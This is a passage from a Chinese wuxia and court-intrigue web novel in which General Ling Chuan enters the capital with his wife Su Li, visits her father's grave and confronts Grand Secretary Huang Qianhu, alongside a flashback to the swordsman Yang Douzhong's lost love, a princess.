那磅礴的气势、恢宏的规模,绝非言语所能形容,唯有亲眼目睹,方能体会到这座曾经令万国来朝的神都,是何等恢宏气象。 队伍中,许多北疆儿郎都是第一次来到神都,他们勒住马缰,仰望着那座越来越近的巍峨城池,眼中闪烁着难以抑制的激动。 这一路的风尘仆仆、鞍马劳顿,在这一刻都被眼前的壮观景象冲刷得一干二净,有人不自觉地整理起铠甲,仿佛要以最整齐的仪容,踏入这座梦寐以求的帝都。 在禁军精锐的护卫下,队伍自承德门缓缓入城,城门洞深邃幽长,马蹄踏在青石板上发出清脆的回响,仿佛每一步都在叩问着这座古城的历史。 一入城内,景象更是令人叹为观止。 宽阔的朱雀大街可容十驾马车并行,青石板铺就的路面光洁如镜,两侧商铺林立,飞檐相连,招牌幌子迎风招展,街上人流如织,叫卖声、车马声、谈笑声交织成一曲繁华的市井交响。 禁军开道,百姓们纷纷避让至街道两侧,却又忍不住踮脚张望,窃窃私语。 “这是哪位大人的仪仗?竟要禁军亲自开路?”一些不知情的百姓好奇地问道。 旁边手持折扇的书生唰地展开扇面,语气中带着几分得意:“这你们都不知道?镇北将军班师回朝,不是早就传得满城皆知了吗?” “镇北将军?就是几个月前打破胡羯敌军,陛下钦封的那位镇北将军?” “除了他,这天下还有第二个镇北将军不成?” 听闻是凌川回朝,百姓们脸上顿时浮现出敬畏之色,数月来,这位少年将军的事迹早已传遍大街小巷,在这天子脚下,人们谈论起来更是如数家珍。 原本苏璃是准备躲在马车里面,然而,凌川却拉着她与自己骑马并行,用他的话说,就是要正大光明地向世人宣告,苏大将军的女儿回来了。 苏璃心里很是担忧,怕自己的身份给凌川带来麻烦,可凌川却是淡然一笑,说道:“想知道的早就知道了,不知道的,现在知道了也无所谓!” 苏璃还想说什么,凌川却拉着她的手,笑道:“娘子不用担心,一切有我!” 好说歹说,苏璃才同意与他一同骑马进城,凌川身着狻猊吞海锁环甲,腰悬战刀,英姿不凡。 苏璃骑着照雪,与凌川一起步入这座并不陌生,却满是悲伤的神都,她心情十分沉重,但眼神却异常坚定,因为她明白,很多东西,必须要去面对。 “那就是镇北将军吗,好年轻啊!”有人看到身着将军甲的凌川,惊呼道。 “果真是英雄出少年啊,如此年轻便立下赫赫战功,那是咱们大周之幸啊!” 事实上,镇北将军班师回朝的消息,半个月前就已经在神都传开了,今日,不少人都来到朱雀大街,想要目睹这位少年英雄的风采。 这些人中,有市井百姓,有寒门学子,也不乏达官显贵…… “天哪!镇北将军竟生得这般俊朗!”临街酒楼的二层雅间内,一个身着湖蓝色锦裙的少女倚在窗边,看清凌川面容后,忍不住以袖掩唇。 “在哪儿?快让我瞧瞧!”另一个穿着鹅黄衣裙的少女急忙凑到窗前,眼中满是好奇。 忽然,有人注意到了与凌川并骑的苏璃,疑惑道:“咦?凌将军身边那位女子,好生面熟!” “那是……”一个贵妇打扮的女子蓦然瞪大双眼,声音都不自觉提高了些许,“是苏大将军的千金,苏璃小姐!” ‘苏大将军’四字一出,周遭顿时一静,即便时隔一年,那场风波带来的震动依然清晰可辨。 “不是说苏家女眷都被发配充军了吗?她怎敢擅自回神都?” “难道不怕陛下降罪?” 就在众人惊疑不定时,又有人压低声音道:“听说凌将军明媒正娶的发妻,正是苏大将军的独女苏璃!” “当真?” “这还有假?北疆那边早就传开了!” 随着队伍缓缓前行,两侧围观的人越来越多,后来更是摩肩接踵,水泄不通。蓝少堂不得不分派禁军到两侧维持秩序。至于跟在后方的大和使团,反倒无人问津。 凌川敏锐地察觉到一道不善的目光。他抬头望去,只见不远处临街的檐廊上,几个锦衣华服的年轻公子正凭栏而坐,手持玉杯,居高临下地打量着他,眼神中满是毫不掩饰的轻蔑。 “那是吏部左侍郎安清呈的独子安济,京城里有名的纨绔!”苏璃微微倾身,低声提醒。 凌川不动声色地点头:“另外两个呢?” 苏璃目光轻扫,语气平淡:“左边那个摇扇子的是工部员外郎谢从山的长子谢举;右边端着酒杯的,是内阁首辅黄千浒的幼子黄英弘。” 凌川眼中闪过一丝了然,果然与他猜测的差不多。 “哗啦!” 忽然,一只白玉酒杯从檐廊上直坠而下,在凌川马前数步炸开,碎片四溅,酒液在地上洇开一片深色。 这一变故,虽然没有让战马受惊,不过,禁军却第一时间行动了起来,苍蝇更是第一时间带领亲兵来到凌川二人身边,一个个战刀出鞘,满脸戒备。 凌川缓缓抬起目光看向那几人,后者同样是居高临下地看着他,眼神中写满了蔑视。 “哟,不好意思,手滑了没拿稳!”一道懒洋洋的声音自上方传来。 说话之人乃是谢举,工部员外郎谢从山的儿子。 第一卷 第447章 真气外放 此时,蓝少堂也赶了过来,可当他看清楼上那几人之后,脸上的神色也变得凝重起来,他很清楚,这几名纨绔子弟的背景有多硬,自己虽为禁军统领,但也不想得罪他们,或者说不想得罪他们身后的高官权臣。 正当他还在犹豫如何化解之时,凌川唰的一声拔出腰间战刀,朝着二楼的方向一刀撩起。 霎时间,一道刀芒迸射而出,直奔几人所在的檐廊而去。 “噗……” 只听一道闷响,檐廊的一根矮柱顶端雕刻得极为精致的狮子直接被削掉,掉落在地上咚咚作响。 檐廊之上的安济、谢举、黄英弘三人顿时面色一片苍白,他们没想到,凌川竟然敢当众出手。 蓝少堂同样的一脸震惊,沈珏则是没想到凌川的修为进步如此神速,竟然能做到真气外放,要知道,他现在不过才一重境啊。 就在那三人怒火即将发作的时候,凌川的声音缓缓传来:“不好意思,这一刀斩偏了!” 周围百姓见状,不由得倒吸一口凉气,素闻这位镇北将军血气方刚、杀伐果断,今日一见果真不假,即便是面对那三位背景惊人的公子哥也毫不畏惧。 那一刀干净利落、霸道果决,没有丝毫犹豫。 “凌川,你竟敢当街行凶,你知道我们是谁吗?” “没兴趣知道!”面对谢举的喝问,凌川只是冷冰冰地回应了三个字。 凌川归刀入鞘,队伍缓缓前行,檐廊之上三人怒目圆瞪,原本他们只是想给凌川一个下马威,可没想到,对方竟如此大胆,公然对他们拔刀相向。 “凌将军真是好威风啊!可别忘了这里是神都,不守规矩,会死得很惨的!”黄英弘不愧为首辅之子,只见他强压下心中的怒火,面如常色地对凌川说道。 凌川骑马缓缓前行,他甚至都没有抬头看对方一眼,冷声回应道:“我常年在边关刀口舔血,只懂得一个道理,那就是谁对我龇牙,我就用刀跟他说话!” 凌川并未刻意加重语气,可声音却铿锵有力,如刀剑颤鸣。 “哼!”黄英弘冷哼一声,说道:“本公子倒要看看,你能在神都嚣张几日!” 凌川再次抬起目光,看向他,缓缓说道:“这个就不劳你操心了,不过我也奉劝一句,若是我下一次出刀,斩的可就不是狮子头了!” 任谁都听得出来,这句话里带着深深的警告。 看着下方街道上,那道挺拔身影逐渐远去,黄英弘的眼神中闪过一抹阴冷之色。 谢举看得咬牙切齿,“狂妄之徒,竟敢对公子不敬,我看他是不想活了!” “公子放心,我今晚就要让人把他的脑袋摘下来,送到您府上!”安济一脸愤懑,眼神却带着无尽谄媚,说道。 黄英弘却是盯着凌川逐渐远去的背影,摇头道:“不必了,自从他踏入神都的那一刻起,就已经是一具尸体了!” 按理说,像凌川这种边关将领班师回朝,一般都是安置在对应的驿馆,然而这次陛下特意交代,让礼部将凌川一行安排在了一处闲置的王府。 那原本是宁王的府邸,自宁王去往自己的封地之后,这里也就闲置了下来,礼部已经将府邸里里外外打扫得一尘不染,此外,还从司礼监选派了一名经验丰富的总管以及数十名下人,更是从禁军中选派出两百人,由朱彦带队,护卫安全。 原本凌川以为,既然陛下安排了禁军,那必然会让自己的亲兵以及洛青云的三百多骑兵住进军驿,然而,蓝少堂却告诉凌川,这一点他自行安排即可。 最终,凌川决定,留下一百亲兵,其他的全部由洛青云带着去往军驿,倒不是王府容纳不下这么多人,而是不能授人以柄。 自离开北疆开始,便有无数双眼睛在盯着,更何况是进入神都之后。 刚到府邸门口,便看到一名身着圆领宦官服、手持拂尘的老太监迈着小碎步迎了上来。 “奴才刘恩赐,见过将军,见过夫人!” 尽管对方表现得极为谦卑,可凌川却不敢有丝毫大意,说道:“公公客气了!” 此前,他便向苏璃请教过宫里的规矩,特别是一些看似职位不高,可权利却大得吓人的官员,更是丝毫不能得罪。 进入府邸之后,朱彦与苍蝇便立刻着手布防,一众下人也都争相忙碌了起来。 “将军,夫人,这段时间老奴便是这儿的管事,有什么事情,二位尽管吩咐老奴就行了!”老太监刘恩赐躬身说道。 “那就麻烦刘公公了!”凌川回礼道:“小子我初来乍到,很多规矩都不懂,还得请教公公!” “将军千万别这么说,陛下可是亲口交代老奴,千万不能怠慢了将军!”刘恩赐身体躬得更深了些。 听闻此言,凌川眉头微皱,随即在刘恩赐的带领下进入二重院。 随后穿过长廊,来到正房跟前,说道:“将军,夫人,二位舟车劳顿,下人们已经备好了水,待二位沐浴更衣,便可以用膳了!” 凌川进屋之后,只见这里摆放着一口大木桶,桶里的水透着丝丝热气,两名身着青衣的女婢恭恭敬敬站在一旁。 “你们出去吧,我自己洗就行了!”凌川对二人说道。 然而,这两名女婢却是一脸恐慌,随即噗通一声跪在地上:“求将军给奴婢一次机会,奴婢一定好好伺候将军!” 凌川眉头一皱,问道:“有什么问题吗?” 那两名女婢满脸恐慌,颤声说道:“将军,奴婢……奴婢要是现在出去的话,是要遭到惩罚的!” 凌川闻言,不由得叹了一口气,问道:“那,有什么办法是我自己洗,而你们又不会被罚的办法吗?” “将军……将军可是嫌弃我们?”其中一名女婢抬起头看了凌川一眼,怯生生问道。 凌川:“……” 最后,凌川实在没办法,只能叫来苏璃一起洗,这样,那两名女婢就只能回避,到外面等候。 房间里,已经让人提前准备好了好几套衣服,无论是用料还是做工都堪称顶级,凌川与苏璃各自换好衣服,一同前往膳堂。 刘恩赐已经躬身在门口等候,堂内,偌大的桌上摆着十几道菜,鸡鸭鱼肉、应有尽有。 这毕竟是神都,可不想北疆那般食材受限,这里天南海北的食材应有尽有。 第一卷 第448章 奉英山 饭后,凌川又对刘恩赐问道:“公公,近几日可有安排?” 刘恩赐恭敬回答道:“陛下交代了,将军从北疆回来,一路舟车劳顿,近几日便安心歇息,也可以在神都游玩,过几日再召将军入宫!” 今日刚好是九月初一,距离重阳还有好几天,倒也不着急。 随后,凌川故意问道:“不知哪里能买到香烛纸钱?” 果然,听到这话,刘公公眼神微微一变,但还是用恭敬的语气问道:“将军买这些做什么?” “此次回神都,准备与娘子一起去祭拜岳父岳母!”凌川的语气十分平淡。 对方既然是陛下安排的人,凌川刻意提及这个话题,等同于是在试探陛下的态度。 刘公公不动声色地说道:“将军吩咐一声就是了,明日我让人去购置回来!” “有劳公公了!” 进入神都之后,杨铁匠便消失不见了,没有人知道他去了哪里,甚至都没有跟凌川打招呼。 次日一早,沈七岁与一禅小和尚也来找凌川辞行。 “将军,我二人奉师门之命,护送您到神都,如今使命已达,我二人也该告辞了!” 沈七岁背着那个偌大的剑匣,脸上始终带着那玩世不恭的笑意,眉清目秀的小和尚双手合十,依旧是不善言辞。 凌川明白,江湖儿郎本就是浪迹江湖,不受束缚,此番护送可谓是尽心尽力,凌川回想起这一路的凶险,心中充满了感激。 “多谢两位一路护送,也代我向你们师门表达谢意,这份情,我凌川记下了!”凌川对二人抱拳说道。 “将军客气了,以后若是到了蜀州,一定要去蜀山做客!”沈七岁笑道。 “一定一定!”凌川拍了拍沈七岁的肩膀笑道,紧接着,他又看向小和尚,说道:“我满身杀戮,就不去空观寺了,以免这一身鲜血玷污了佛门圣地!” 一禅小和尚则是双手合十,说道:“师父说了,若为救天下苍生而杀戮,那一身鲜血便是金身!” 吃过早饭之后,刘恩赐告诉凌川,他交代的香烛之前已经准备好。 凌川点头致谢,他心里明白,对方说准备好了,也就意味着,此事已经询问过陛下的意思。 可正准备出发的时候,苏璃却变得十分犹豫,凌川见状,问道:“怎么了娘子?” “我……我都不知道爹娘葬在哪里!”苏璃小声说道,眼神中满是愧疚之色。 作为女儿,想去给爹娘扫墓,却连他们葬在何处都不知道,可想而知此时苏璃内心有多难受。 凌川转身看向刘恩赐,问道:“公公可知,我岳父岳母葬于何处?” “苏老将军与苏夫人葬在奉英山,老奴让朱校尉全程护送你们!”刘恩赐躬身回答道。 凌川点头致谢,来到王府外,苍蝇等人已经准备好了马车,赶车的依然是翠花,朱彦也已经整好队伍。 此外,洛青云在军驿将队伍安顿好之后,便交给了其他人,自己则是来到凌川落脚的王府。 车上,凌川问道:“娘子可知,奉英山在何处?” “奉英山是埋葬开国英烈和历代有大功于帝国的贤能,可我实在想不通,他们既然以某犯罪杀了父亲,为何又要将他葬在奉英山?难道,他们觉得,这样就能平息我心中的怒火,掩盖他们残害忠良的罪证吗?”苏璃声音冷漠,眼神中闪烁着仇恨。 “别想那么多,咱们先去看看再说吧!”凌川轻轻握着她的手,说道。 随后,凌川从苏璃口中得知,奉英山位于神都东面,山下是护国寺,山上则是埋葬着历代先贤。 通过朱雀大街,转入明德街,前方出现一条奔腾的大河。 此乃洛河,又称洛水。 洛水从神都贯穿而过,不过比其他地方的河道都要狭窄,故而水流也更为湍急。 一座古老石桥横跨于洛水之上,此桥名为锁龙桥。 据说洛水在地势上乃是一条大龙,所以,前朝定都洛城的时候,便修建了此桥,并在桥下悬挂一柄古剑,以此锁住龙脉,保国运绵长、气运不衰。 也有传言,锁龙桥乃是大阵洛神图的阵眼,与洛神图本就是一体。 凌川撩开车帘,看着桥下的滚滚江水,随后又发现,前方不远处,有几道身影盘坐于桥面边上,一动不动。 “他们是在做什么?” 一旁的洛青云点了点头,说道:“当年,云书阑便是在此处成功悟道,一举成为江湖中的顶尖高手!此后,便经常有人来此效仿,想要跟云书阑一样,一朝顿悟!” 凌川闻言,不由得一阵苦笑,无论在什么时代都不乏想要走捷径之人,总想着复刻他人的成功,殊不知,所有的成功背后,都是众多因素凝聚而成的结果,又岂是能复刻的? 然而,就在凌川的队伍离开之后不久,其中一名已经入定的男子缓缓睁开双眼,深邃的目光中,有刺骨的寒芒一闪而逝。 不久队伍自明德门出城,出城之后,便隐约能够看到奉英山。 奉英山脚下是护国寺,护国寺论底蕴不及空观寺,论规模不如南陀寺和慈恩寺,但背靠皇家,其香火之鼎盛,却远不是其它佛门寺庙所能比拟的。 一条宽阔大道直通护国寺,虽然此刻时间尚早,但前来祈福还愿之人却也不少,见大批禁军到来,立马引起了寺庙僧人的注意。 本以为是宫中某位大人物前来拜佛,不曾想,对方并没有进入寺庙的意思,而是沿着一侧的道路上山,朝着奉英山而去。 奉英山并不高,但,哪怕是在神都这样的地方,此地依旧有着举足轻重的地位,只因这里埋葬的无一不是曾在历史长河中留下名字的存在,或是戍边有功的名将,或是治国有方的贤臣。 奉英山大门十分恢宏,门口是两尊沉睡的石狮,但,除了特殊时期,奉英山基本上没有人看守。 凌川二人在大门前下车,紧接着他对苍蝇等人说道:“你们在这里等着吧,我们自己上去就可以了!” 随后,凌川带上香烛纸钱,便与苏璃一起朝着山上走去。 第一卷 第449章 祭奠故人 青石铺就的台阶被岁月磨去了棱角,缝隙间满是墨绿色的青苔。 凌川紧握着苏璃的手,能清晰地感觉到她掌心沁出的冷汗,冰凉而潮湿,指尖在他掌心里微微颤动着,如同受惊的蝶翼。 他们一路走来,目光所及之处,是一座座静默的坟茔。墓碑上那些名字虽然依旧清晰可见,但却如同被时光长河淹没的过往,无声地诉说着此地的苍凉。 终于,他们来到了朱彦所指的那片区域,一座明显新近修葺的坟冢静静矗立,墓碑上,‘苏定方’三个字,如沉重的烙印,猛地撞入眼帘。 “爹!娘!” 苏璃的呼唤带着破碎的颤音,她挣脱凌川的手,踉跄着扑到坟前,双膝重重跪在坚硬的土地上,仿佛再也支撑不住身体的重量。 “女儿不孝……这么久,才来看你们……”她伸出剧烈颤抖的手,一遍又一遍,无比轻柔地抚摸着墓碑上双亲的名字。 冰凉的触感从指尖传来,与之相反的,是记忆中父母温煦的笑容、关切的叮咛,此刻如潮水般涌上心头,与眼前这冰冷的石碑形成残酷的对比,令她肝肠寸断。 凌川在她身旁缓缓跪下,俯身,庄重而恭敬地叩了三个头:“小婿凌川,叩拜岳父岳母大人!” 他默默取出香烛纸钱,用火折子点燃。 纸钱在近乎凝滞的空气中燃烧,青烟袅袅升起,带着生者的哀思,缭绕在坟冢之上。 苏璃的哭声再也无法抑制,从最初的呜咽变为撕心裂肺的痛哭,她伏在坟前,单薄的肩膀剧烈耸动。 “爹,娘!定是你们在天有灵,庇佑女儿死里逃生,得遇相公……”她泣不成声,仿佛要将这一年多来所有的委屈、恐惧与思念,尽数倾泻在这座能听懂她言语的坟茔前。 与此同时,于此地相隔十余里的皇家陵园深处,一道青色身影迎着晨雾缓步而行。 此地乃神都禁地,常年有一支禁军驻守,除特定时节祭祀与日常维护人员外,寻常人等绝难踏入半步。 这青衫邋遢的老人,正是杨斗重。 他手中紧握着那只形影不离的酒葫芦,脚步却似绑着千斤巨石,迈向不远处那座孤寂的陵墓。 短短数丈之遥,他却走得异常缓慢、艰难。 这位曾睥睨江湖的剑神,此刻眼中竟流露出一种近乎怯懦的复杂情绪,那里面混杂着深不见底的愧疚与经年不愈的痛苦。 墓碑之上,‘大周秀婵公主之墓’八字,清晰而冰冷,这位先皇最宠溺的幼女,香消玉殒于十六年前。 杨斗重行至墓前,未曾拂去石阶上的尘埃,便直接颓然坐下。 他凝视着那方墓碑,久久无言,仿佛在进行一场无声的对话,许久,一道嘶哑的声音才从他喉间艰难挤出:“秀儿……我来看你了!” 他拔开酒葫芦的塞子,将醇香的酒液缓缓倾洒在墓前,动作轻柔得如同怕惊扰了安眠的人,嘴角甚至牵起一丝恍惚的笑意,低语道:“慢些喝,别呛着……” 犹记得,当年,他风华正茂,心比天高,只身独剑便闯入神都,誓要用手中大江,压过巍峨皇宫。 也正是在那时,他遇见了那个女扮男装的假小子。 以他的眼力,一眼便看穿了那拙劣的伪装,却看不透她那双不染尘埃、清澈见底的眸子。 她性子跳脱,出手阔绰,曾在他饮酒时,一把抢过酒葫芦,学着他的样子仰头便灌,结果被辣得涕泪横流,满面通红,那副又狼狈又可爱的模样,至今忆起,仍鲜活如昨。 他本以为,这不过是江湖中最常见的萍水相逢,注定要相忘于江湖,却未料到,在他名冠神都,即将离去的前夜,两人竟在洛神阁中,喝得酩酊大醉。 他是被一阵冰冷而整齐的甲胄碰撞声惊醒的。 睁眼时,四周已被寒光闪闪的兵刃包围,而那个假小子,正衣衫不整地蜷缩在他怀中,睡得正沉。 “大胆狂徒!竟敢玷污公主殿下清白!该杀!” 一声雷霆般的怒喝,震散了杨斗重最后的醉意,也惊醒了怀中的她。直到此刻,杨斗重才骇然知晓,这个天真烂漫的少女,竟是当今陛下一母同胞的妹妹,金枝玉叶的秀婵公主。 面对这突如其来的绝境,两人俱是茫然失措。 杨斗重下意识便要运转真气,强行突围,却惊觉周身经脉酸软无力,真气滞涩难行,他猛地看向秀婵,眼中尽是惊怒与质问:“牵机引……你在酒中下了毒?” 秀婵公主脸上血色尽褪,泪水瞬间涌出,用力摇头,声音带着哭腔:“我没有!我也喝了……我,我只是喝得少些……” 话音未落,刀光已至,混乱中,她竟毫不犹豫地用自己的身躯,为他挡住了那致命的一刀。 温热的鲜血溅在他的脸上,杨斗重只觉脑中轰的一声,他不顾一切地强行冲开被毒药封锁的经脉,逆行的真气如刀割般撕裂着他的气海经脉,一口鲜血猛地喷出。 那一日,洛神阁内剑气冲霄,光华耀目,他抱着气息奄奄的她,一人一剑,浑身浴血,硬生生从重重围困中杀出一条血路。 怀中的秀婵公主,面色苍白如纸,气息微弱游丝,散落的青丝在他臂弯间无力地飘荡。 杨斗重自身亦是重伤濒危,他强行运转真气,只为带她杀出神都,找人为他续命。 然而,就在他即将杀出城外的时候,一位布衣老者静立于城门前,拦住了去路。 那人气息渊深似海,竟是一位宗师强者,即便杨斗重处于巅峰状态,也未必能稳胜此人,何况此刻他已身受重伤,更令他心惊的是,当今江湖中的宗师境高手,竟然没有这样一号人物。 “放下我……你快走……”秀婵气若游丝,用尽最后力气恳求。 杨斗重嘴角不断溢出血沫,却将她抱得更紧,咬牙道:“不放!我说过……要带你去看遍江湖,阅尽人间烟火的……” 秀婵艰难地抬起染血的手,轻轻抚上他因痛苦而扭曲的脸庞,眼中满是眷恋与不舍,断断续续地说:“你……你替我去看,也一样……只可惜,我……我看不到你……成为天下第一的那一天了……” 语毕,玉殒香消。 第一卷 第450章 千面鼬,黄千浒 记得初识时,她便曾笑语,说他定能成为那天下第一!当时他只当是少女无心的戏言,一笑置之,此刻,这句话却像最锋利的剑,狠狠刺穿了他的心脏。 “将她留下,我可放你离开!”拦路的老者声音淡漠,不带丝毫情感。 见杨斗重毫无反应,只是死死抱着怀中渐冷的躯体,老者再次开口,语气依旧冰冷,却多了一丝难以察觉的复杂:“她已经死了,交给我,我让她入土为安!” 这句话,像一根针,刺破了杨斗重绝望的屏障,他眼中终于泛起一丝微弱的波动。 良久,他缓缓地、极其轻柔地将秀婵公主的遗体交付到老者手中,然后,他拖着那具几乎破碎的身躯,一步一步,踉跄着走出了神都。 他如同行尸走肉,一路向东,直赴白云城,挑战那位被誉为武林神话的存在。 从未有一刻,他如此渴望得到那个曾经不屑一顾的‘天下第一’名号。 可惜,他败了。 “十六年了啊……秀儿!”杨斗重喃喃低语,眼中水光氤氲,他举起酒葫芦,猛灌了一口,那烈酒入喉,却品不出半分滋味,只有满口苦涩,“如今的我已经是一个糟老头子了,你要是现在遇到我,肯定不喜欢!” 他苦笑一声,那笑容比哭更令人心酸:“到底……我还是没能做成你口中的天下第一。我是不是……很没用?” 空旷的陵园,寂寥无声,唯有风声穿过松柏,发出呜咽般的低鸣,仿佛在回应他这跨越了十六年的诘问。 杨斗重伸出手,用那布满老茧的指腹,极尽温柔地摩挲着冰凉坚硬的墓碑,眼中是此生从未示人的缱绻与柔情。 那些短暂却刻骨的相聚时光,那张永远洋溢着天真笑意的脸庞,在他心海中反复浮现,清晰如昨。 就在这时,一场淅淅沥沥的小雨,悄然而至。 冰凉的雨丝洒落在陵园的石碑与松柏上,也打湿了杨斗重花白的头发与破旧的青衫。 他恍若未觉,只是将葫芦中最后一口酒饮尽,然后,像是耗尽了所有力气般,缓缓倚靠着墓碑,闭上了眼睛,沉沉睡去。 仿佛唯有在此处,他才能寻得片刻的安宁,回到那个有她的梦中。 而奉英山上,苏璃早已哭得声音嘶哑,几乎脱力。 凌川看着面前那堆已燃成灰烬,又被渐渐密集的雨点打湿的纸钱,语气沉静,却蕴含着不容置疑的力量,一字一句道:“岳父、岳母在天之灵且安息。凌川在此立誓,一定保护好小璃,不让她再受半分委屈。同样,我也会竭尽全力让朝廷,让天下人还你们一个公道!” 他的声音不大,却在渐渐响起的雨声中,显得格外铿锵坚定,如同立下的血誓。 雨水渐渐打湿了地面,翠花撑着一把油纸伞匆匆赶来。 凌川轻轻扶起几近虚脱的苏璃,柔声道:“下雨了,我们该走了!” 苏璃依依不舍地起身,一步三回头,泪眼婆娑。 就在此时,凌川敏锐地察觉到,不远处的雨幕中,静静伫立着一道模糊的身影。 细密的雨丝模糊了视线,他只能依稀辨出那是一位老人的轮廓,默然独立,仿佛也在祭奠着某个逝去的灵魂。 “翠花,先扶夫人上车避雨。”凌川轻声吩咐,目光却如铁铸般锁在雨幕中那道孤影上。 苏璃察觉有异,正要开口,凌川已对她微微颔首:“无妨,我去去就回。” 待苏璃二人身影消失在山道尽头,凌川方转身,踏着湿滑的石阶朝那道身影走去。 渐近时看清,那是个年过六旬的老者。 身形干瘦,一袭锦袍在雨中显得空荡,雨水顺着他花白的鬓发滑落,更添几分萧索,最引人注目的是他左颊那块深褐色的老年斑,在苍白的脸上格外醒目。 “阁下在此,可是专程等我?”凌川在丈外停步,声音穿透雨幕。 老者缓缓转身,露出一抹淡笑:“人老了,总爱来故人长眠之处走走,没想到会遇上镇北将军!” 凌川目光扫过对方浸湿的衣襟,无意周旋:“在下凌川,敢问阁下名讳?” “将军威名,老夫岂会不知?”老者轻笑,眼角细密的纹路里藏着精光,“只是没想到这般年轻,更没想到……像个文弱书生。” 他顿了顿,雨声中将每个字都咬得清晰: “老夫黄千浒,朝野上下,背地里都叫我千面鼬!” 凌川瞳孔微缩,指节在袖中悄然握紧,声音却平稳如初:“北系军云州副将凌川,见过首辅大人!” 黄千浒嘴角扯出一抹笑,那笑容停在皮肉表面,未达眼底,反而衬得他目光愈发幽深,像暗流涌动的寒潭。 “半年前就听过你的名字!”黄千浒望向雨幕深处,语气平淡,“尽管那时你还只是个标长,老夫便料定,将来你绝非池中之物,只是没料到,你崛起得这么快。” 凌川静立雨中,周身气息收敛得滴水不漏。纵使深知眼前之人就是害死苏大将军的元凶,他脸上也不见半分波澜。历经沙场与朝堂的磨砺,他早已学会将杀意埋进骨子里。 “首辅大人当真是手眼通天!”凌川淡声道。 黄千浒转头望向苏定方墓碑的方向,轻叹一声:“算来,他已走了一年又三个月了!” 雨声渐密,凌川的声音如刀锋破开雨幕:“我岳父之死,首辅大人应当功不可没吧?” 黄千浒竟不否认,凹陷的眼窝中目光如隼:“这世间岂止边关才是战场?朝堂之争,从来都是你死我活,而且,从某种角度来说,比之边关更为残酷和激烈!” “所以在首辅看来,只要除掉对手,便可无所不用其极?即便对方是国之柱石,也问心无愧?”凌川语声渐冷,每个字都像是淬了冰。 “愧疚?”黄千浒嗤笑一声,皱纹里都透着讥诮,“年轻人,待你活到我这把年纪就会明白,手段无所谓卑劣,愧疚最是无用。这世上,唯有活着,才是真章!” “难怪大周会如此,这真是烂到根了啊!”凌川的声音不大不小,透着无奈与悲戚。 第一卷 第451章 并无区别 黄千浒闻言,嘴角泛起一丝意味深长的弧度,那笑意未达眼底,反倒让眼角的皱纹显得愈发深刻。 “天下人总是习惯将骂名尽归文臣……”他声音平缓,却字字清晰,“说是我等把朝堂搅得乌烟瘴气,可他们何曾想过,若是没有文官苦心经营、维系朝纲,这泱泱大国,早就分崩离析,乱成一锅粥了!” 凌川目光如炬,毫不退让地直视对方,雨水顺着他坚毅的脸颊滑落:“首辅大人莫非忘了,正是朝中权臣结党营私、地方官吏中饱私囊、豪强乡绅巧取豪夺,才让百姓流离失所,民不聊生?这累累罪行,莫非也是文官治国的功绩?” “那你为何不问问那些边关将领?”黄千浒微微眯起眼睛,声音里带着几分讥诮,“各地将领贪墨军饷者几何?拥兵自重者又少吗?这天下乌鸦,难道只有文官这一只是黑的?” “即便如此,他们至少还在浴血守边,抵御外敌!”凌川的声音里压抑着翻涌的怒火,握着刀柄的手不自觉地收紧,“而不是像某些人,只会在这繁华神都里钩心斗角,窝里相争!” 面对凌川几乎要喷薄而出的愤慨,黄千浒的神色却纹丝不动,仿佛在谈论今日的天气般淡漠:“北疆连年失利,损兵折将;东疆海盗肆虐,百姓苦不堪言;西疆防线形同虚设,西域小国来去自如,如入无人之境;凌将军,你来告诉老夫,他们到底守住了哪处边疆?” 除了当年苏家军死守南疆,让敌人闻风丧胆外,其余三境确实节节败退,但凌川岂会听不出这话中的诡辩与刻意引导? 他冷笑一声,声音在雨幕中显得格外清晰:“所以首辅大人就要千方百计,不惜自毁长城,也要除掉这唯一守住边疆、一战定鼎南疆的苏家军?这就是您治国安邦的良策?” “想要苏定方死的人,何止老夫一个?”黄千浒平静陈述,语气中不带半分辩解,仿佛在说一件与己无关的事,“朝堂之上,欲除之而后快者大有人在,老夫,不过顺势而为罢了!” “况且!”他顿了顿,目光掠过凌川,望向远处朦胧的山色,“当时的南系军,早已脱离朝廷掌控,无论主帅是苏定方,还是卢恽筹,结局,都不会有任何改变!” “是脱离了朝廷掌控……”凌川逼视着他,一字一顿,声音冰冷,“还是脱离了你们这些人的掌控?” 黄千浒脸上露出那种老谋深算、洞悉一切的笑意,微微摇头:“在老夫看来,并无区别!” 凌川缓缓点头,雨水沿着他的眉骨流下,那双眸子却亮得惊人,寒光乍现:“我也觉得,只要是参与之人,我一个都不会放过。所以,你是不是主谋,对我来说,并无区别。” 这一瞬间,黄千浒浑浊的眼中一丝凌厉的杀机一闪而逝,快得几乎让人无法捕捉,随即又化作那深不见底、令人捉摸不透的笑意,他轻轻摇头:“呵呵……年纪不大,口气倒是不小!” 他不再多言,缓缓转身,锦袍下摆在湿漉漉的石板上拖曳出细微的水痕,沿着另一条蜿蜒的下山小路蹒跚而去。 “为天地立心,为生民立命,为往圣继绝学,为万世开太平……”黄千浒那带着些许沙哑的声音在沙沙的雨声中飘荡。 语调复杂难辨,夹杂着一丝对后生可畏的欣赏,更多的则是居高临下的嘲讽,以及一丝若有若无、连他自己或许都不愿承认的忌惮,“果然是年少轻狂,锋芒毕露,锐气无双啊!” 不远处,一个面容平凡、身形精干,气质却如出鞘利剑般冷峻的男子,始终持着一把硕大的黑伞,静立如松。 见黄千浒走近,他立即无声地迈步上前,精准地将伞面移至老者头顶,为其遮去漫天雨丝。 “不必了!”黄千浒随意地摆了摆手,动作间带着久居上位的疲惫,“反正都已湿透,何必多此一举!” “阁老,秋雨寒凉,侵入肌骨,您年事已高,恐染风寒!”男子低声劝道,声音平稳无波,却透着不容置疑的关切。 黄千浒脚步微顿,抬眼透过朦胧的雨幕,望向远方烟雨笼罩的神都城郭,轻轻叹息一声,那叹息里竟带着几分真实的感慨:“想当年,在小小知县任上,与百姓一同在田间抢收庄稼时,不知淋过多少场比这更大的雨……如今,位极人臣,倒是许多年,未曾再这般……真切地淋过一场雨了!”他的声音渐渐低沉,仿佛沉入了某种遥远的回忆之中。 凌川也未在凄风冷雨中久留,他深深看了一眼黄千浒消失的方向,随即转身,迈着沉稳而坚定的步伐,沿着被雨水洗刷得干净的石阶,一步步走下奉英山。 雨水打湿了他的衣衫,带来阵阵寒意,却无法冷却他胸中翻腾的怒火与决心。 刚踏上马车,早已焦急等待的苏璃立即迎了上来,取出干燥柔软的棉布,小心翼翼地为他擦拭脸上和发间的雨水,动作轻柔,眼中满是担忧。 